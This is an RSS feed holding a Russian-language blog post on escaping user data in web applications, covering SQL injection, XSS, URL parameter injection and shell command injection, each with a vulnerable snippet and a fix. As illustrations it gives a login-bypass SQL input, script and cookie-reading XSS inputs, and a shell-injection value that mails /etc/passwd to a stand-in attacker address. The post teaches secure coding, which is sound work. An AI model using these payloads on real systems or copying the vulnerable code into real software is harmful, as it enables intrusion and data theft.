<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel><title>Andrey Smirnov's Blog (escape)</title><link>http://www.smira.ru/</link><description></description><language>en</language><lastBuildDate>Sun, 11 Jan 2015 19:24:25 GMT</lastBuildDate><generator>http://getnikola.com/</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>Не забудь сделать escape!</title><link>http://www.smira.ru/en/posts/20101031dont-forget-about-escaping.html</link><dc:creator>Andrey</dc:creator><description>&lt;p&gt;Когда я только начинал программировать в web, правильно сделать escape данных было непростой задачей:
никаких хороших библиотек не было или приходилось писать что-то свое, при этом на каждом шагу не забывая
поставить нужный escape. Сегодня отличные библиотеки, такие как Ruby on Rails, позволяют "расслабиться" и
забыть о том, что такое escaping (по крайней мере до какой-то степени). Не смотря на это, все еще необходимо понимать,
что такое escaping, зачем он нужен, когда и какой.&lt;/p&gt;
&lt;p&gt;Отсутствие правильного escaping (впрочем, как и избыточный и неуместный escaping) приводит к &lt;em&gt;ошибкам&lt;/em&gt; и &lt;em&gt;уязвимостям&lt;/em&gt;
(проблемам безопасности) в web-приложениях. Обычно уязвимость состоит в том, что приложение получает данные из различных
внешних источников (от пользователя, из других приложений), эти данные приложение вставляет строчку, которая
впоследствие будет обработана третьей системой (базой данных, браузером, интерпретатором и т.п.) При этом при передаче
особым образом подготовленных данных удается совершить действие, которое не должно было произойти.&lt;/p&gt;
&lt;div class="section" id="sql"&gt;
&lt;h2&gt;SQL&lt;/h2&gt;
&lt;p&gt;Типичная уязвимость: &lt;a class="reference external" href="http://en.wikipedia.org/wiki/SQL_Injection"&gt;SQL Injection&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Пример кода (авторизация по логину и паролю):&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nx"&gt;runQuery&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT id FROM users WHERE login='&lt;/span&gt;&lt;span class="si"&gt;$login&lt;/span&gt;&lt;span class="s2"&gt;' AND password='&lt;/span&gt;&lt;span class="si"&gt;$password&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Если значения переменных &lt;tt class="docutils literal"&gt;$login&lt;/tt&gt; и &lt;tt class="docutils literal"&gt;$password&lt;/tt&gt; получены от пользователя (например, через форму авторизации),
можно в поле &lt;tt class="docutils literal"&gt;password&lt;/tt&gt; ввести значение вида: &lt;tt class="docutils literal"&gt;' OR '' = '&lt;/tt&gt;, тогда после подстановки получится такой запрос:&lt;/p&gt;
&lt;pre class="code sql literal-block"&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'login'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Условие &lt;tt class="docutils literal"&gt;WHERE&lt;/tt&gt; всегда истинно, для любой строчки БД. В зависимости от вида запроса, способа авторизации такое
поведение приведет к возможности авторизации, не зная пароля.&lt;/p&gt;
&lt;p&gt;Проблема состоит в том, что при прямой подстановке значения переменной &lt;tt class="docutils literal"&gt;$password&lt;/tt&gt; мы смогли изменить смысл исходного запроса.&lt;/p&gt;
&lt;p&gt;Что делать (в порядке от плохого к хорошему):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;использовать функцию, которая осуществляет escaping, причем специфичный для конкретной БД (так как синтаксис SQL-запросов
может отличаться от одной БД к другой (в конечном итоге не очень хороший способ, так как однажды забытая функция escape ведет к
потенциальной уязвимости); например, для PHP/MySQL: &lt;a class="reference external" href="http://ru.php.net/mysql_real_escape_string"&gt;mysql_real_escape_string&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;использовать синтаксис SQL с параметрами (placeholderами), в этом случае значение не подставляется в строку SQL-запроса, а
передается отдельно как значение соответствующего типа; пример для PHP/PDO:
&lt;a class="reference external" href="http://ru2.php.net/manual/en/pdostatement.bindvalue.php"&gt;PDOStatement-&amp;gt;bindValue&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;использовать &lt;a class="reference external" href="http://ru.wikipedia.org/wiki/ORM"&gt;ORM&lt;/a&gt;, которая спрячет процесс построения запросов,
например для Rails: &lt;tt class="docutils literal"&gt;User.find_by_login_and_password(login, password)&lt;/tt&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Примечание&lt;/strong&gt;: один из моих любимых вопросов на собеседовании - "SQL injection и как его избежать". В 50% случаев я слышу про то,
что надо фильтровать пользовательские данные. Это не может быть универсальным способом! Пользователь может совершенно
разумно хотеть написать одинарную кавычку в том текстовом поле, значение которого будет передано вашему приложению.
Валидация или фильтрация данных - дополнительная возможность, которая происходит на уровне модели вашего приложения, но
escaping происходит на уровне, уже непосредственно взаимодействующем с БД.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="html"&gt;
&lt;h2&gt;HTML&lt;/h2&gt;
&lt;p&gt;Типичная уязвимость: &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;XSS&lt;/a&gt;, &lt;a class="reference external" href="http://ha.ckers.org/xss.html"&gt;типичные exploitы&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;В разметке HTML есть некоторое количество символов, которые имеют особый смысл: &lt;tt class="docutils literal"&gt;&amp;amp;"'&lt;/tt&gt;. Проблема возникает, когда в текст
(между элементами HTML) попадают данные, которые содержат мета-символы HTML, перечисленные выше.&lt;/p&gt;
&lt;p&gt;Пример (PHP):&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="x"&gt;&amp;lt;span class="author"&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;nickname&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Если в качестве &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;$user-&amp;gt;nickname&lt;/span&gt;&lt;/tt&gt; пользователь введет:&lt;/p&gt;
&lt;pre class="code html literal-block"&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"hi!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;То все посетители сайта, которые посещают страницу, содержащую вышеприведенный код, получат окошко c "hi!".&lt;/p&gt;
&lt;p&gt;Должно быть так (&lt;a class="reference external" href="http://ru.php.net/htmlspecialchars"&gt;htmlspecialchars&lt;/a&gt; осуществляет замены вида &lt;tt class="docutils literal"&gt;"&amp;gt;"&lt;/tt&gt; -&amp;gt; &lt;tt class="docutils literal"&gt;"&amp;amp;gt;"&lt;/tt&gt; и т.п.):&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="x"&gt;&amp;lt;span class="author"&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;htmlspecialchars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;nickname&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Необходимо отметить, что решения из разряда "фильтрации", описанные в примечании к SQL-escape, не всегда работают
по тем же самым причинам. Типичный поток данных для данной уязвимости - пользователь (например, ввод в форме) -&amp;gt; БД -&amp;gt; вывод на страницу
в HTML. При этом HTML escaping должен происходить при выводе данных, а не при записи в БД, т.к. данные в БД
могут использоваться и для вывода в другие форматы (например, PDF).&lt;/p&gt;
&lt;p&gt;Второй разновидностью данной проблемы является динамическая генерация HTML в контексте страницы, например, с помощью jQuery:&lt;/p&gt;
&lt;pre class="code javascript literal-block"&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'#nickname'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;span&amp;gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'nickname'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;/span&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Должно быть так:&lt;/p&gt;
&lt;pre class="code javascript literal-block"&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'#nickname'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;span&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'nickname'&lt;/span&gt;&lt;span class="p"&gt;]));&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Фукнция &lt;tt class="docutils literal"&gt;text&lt;/tt&gt; в отличие от &lt;tt class="docutils literal"&gt;update&lt;/tt&gt; изменяет только текстовые узлы DOM-дерева и не интерпретирует (добавляет "как есть") любую HTML-разметку.&lt;/p&gt;
&lt;p&gt;Как избежать подобных проблем:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Шаблонизатор на серверной стороне должен по умолчанию делать HTML escaping при подстановке данных в шаблон,
т.к. чаще всего нужно делать escape, а не наоборот. Не нужен escaping только при вставке готовых кусков HTML-кода (например, результата работы другого шаблона).&lt;/li&gt;
&lt;li&gt;При построении DOM-дерева в JavaScript не используйте куски HTML кода, лучше стройте DOM-дерево из отдельных
элементов (как показано выше). Можно воспользоваться JavaScript-шаблонизатором с теми же требованиями, что и для серверного решения.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="javascript"&gt;
&lt;h2&gt;JavaScript&lt;/h2&gt;
&lt;p&gt;Типичная уязвимость: &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;XSS&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Не менее часто в сегодняшних сложных web-приложениях необходимо передать данные с серверной части в JavaScript-код через HTML страницу.
Для этого чаще всего генерируется в шаблоне такой JavaScript-код:&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="x"&gt;&amp;lt;script type="text/javascript"&amp;gt;
  var user = '&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;';
&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Теперь представим, что будет, если я в качестве &lt;tt class="docutils literal"&gt;$username&lt;/tt&gt; напишу &lt;tt class="docutils literal"&gt;'+alert(document.cookies) + '&lt;/tt&gt;. Нехорошо получается? Ответ
простой - сегодня все языки программирования поддерживают возможность преобразования данных в &lt;a class="reference external" href="http://json.org/"&gt;JSON&lt;/a&gt;. А это
как раз тот вид escape, который нам нужен! Причем у нас появляется передавать в JavaScript сложные
данные (массивы, объекты), а также свободно обрабатывать случаи null и т.п.:&lt;/p&gt;
&lt;pre class="code haml literal-block"&gt;
&lt;span class="nd"&gt;:javascript
&lt;/span&gt;  &lt;span class="nd"&gt;var user = &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_json&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="nd"&gt;;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;(Кавычки вокруг строки уже указывать не нужно).&lt;/p&gt;
&lt;p&gt;Как избежать: преобразуйте данные в JSON перед вставкой в JavaScript-код.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="url"&gt;
&lt;h2&gt;URL&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="http://ru.wikipedia.org/wiki/URL"&gt;URL&lt;/a&gt; - это тоже далеко не такая простая вещь, как кажется на самом деле. В URL используется
множество символов, которые имеют особый смысл: &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;?&amp;amp;=/&lt;/span&gt;&lt;/tt&gt;. Чаще всего проблема возникает при построении URL динамически, а
при этом в качестве части URL необходимо использовать переданные пользователем данные. Пусть, например, нам надо построить
URL страницы поиска для ссылки с тега какого-то объекта:&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="s2"&gt;"http://example.com/search/?q="&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$tag&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Если ограничений особенно жестких на имя тега нет, мы можем получить несколько другой URL, чем мы планировали. Например, добавить
еще один параметр через &lt;tt class="docutils literal"&gt;&amp;amp;val=xxx&lt;/tt&gt; в имени тэга. В результате, пользователь, кликнувший по ссылке на такой тэг в списке тэгов
может попасть совсем не на страницу тэга, а на другую страницу сайта (результат будет зависеть во многом от схемы формирования ссылок).&lt;/p&gt;
&lt;p&gt;Как избежать: используйте &lt;tt class="docutils literal"&gt;urlencode&lt;/tt&gt;-подобные функции при формировании компонентов URL, или, еще лучше: используйте "сборщики ссылок",
которые отдельно принимают схему протокола, имя хоста, URI, GET-параметры и т.п.
Пример - &lt;a class="reference external" href="http://apidock.com/rails/ActionView/Helpers/UrlHelper/link_to"&gt;link_to&lt;/a&gt; в Rails.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="shell"&gt;
&lt;h2&gt;Shell&lt;/h2&gt;
&lt;p&gt;Типичная уязвимость: получение shell-доступа к удаленному серверу.&lt;/p&gt;
&lt;p&gt;При выполнении команд в ответ на запрос с использованием параметров, переданных клиентом (это могут быть как строки, так и,
например, имена файлов), можно использовать различные способы запуска команд. Одним из таких способов является команда
&lt;tt class="docutils literal"&gt;system&lt;/tt&gt; или ее различные варианты:&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nv"&gt;$image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'image'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/process_image '&lt;/span&gt;&lt;span class="si"&gt;$image&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;В данный код в качестве значения переменной &lt;tt class="docutils literal"&gt;$image&lt;/tt&gt; можно передать, например, следующее:&lt;/p&gt;
&lt;pre class="code python literal-block"&gt;
&lt;span class="s"&gt;'; (cat /etc/passwd | mail cool@hacker.org); echo '&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;В чем здесь проблема?&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Функция &lt;tt class="docutils literal"&gt;system&lt;/tt&gt; и ей подобные запускают командный интерпретатор (например,  bash), возможности которого гораздо больше, чем требуется нам.&lt;/li&gt;
&lt;li&gt;Мы не выполняем корректный escaping параметров, чтобы &lt;tt class="docutils literal"&gt;$image&lt;/tt&gt; оказался в точности одним параметром командной строки.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Как избежать:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Использовать функции, которые запускают внешний процесс, не прибегая к помощи shell:
они обычно принимают отдельно полный путь к исполняемому файлу и массив аргументов. Проблема отпадает сама собой.&lt;/li&gt;
&lt;li&gt;Использовать функцию &lt;tt class="docutils literal"&gt;escapeshellarg&lt;/tt&gt; и ей подобные, которая гарантирует, что внутри параметра все специальные символы будут экранированы:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nv"&gt;$image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'image'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/process_image "&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;escapeshellarg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$image&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;</description><guid>http://www.smira.ru/en/posts/20101031dont-forget-about-escaping.html</guid><pubDate>Sun, 31 Oct 2010 19:41:24 GMT</pubDate></item></channel></rss>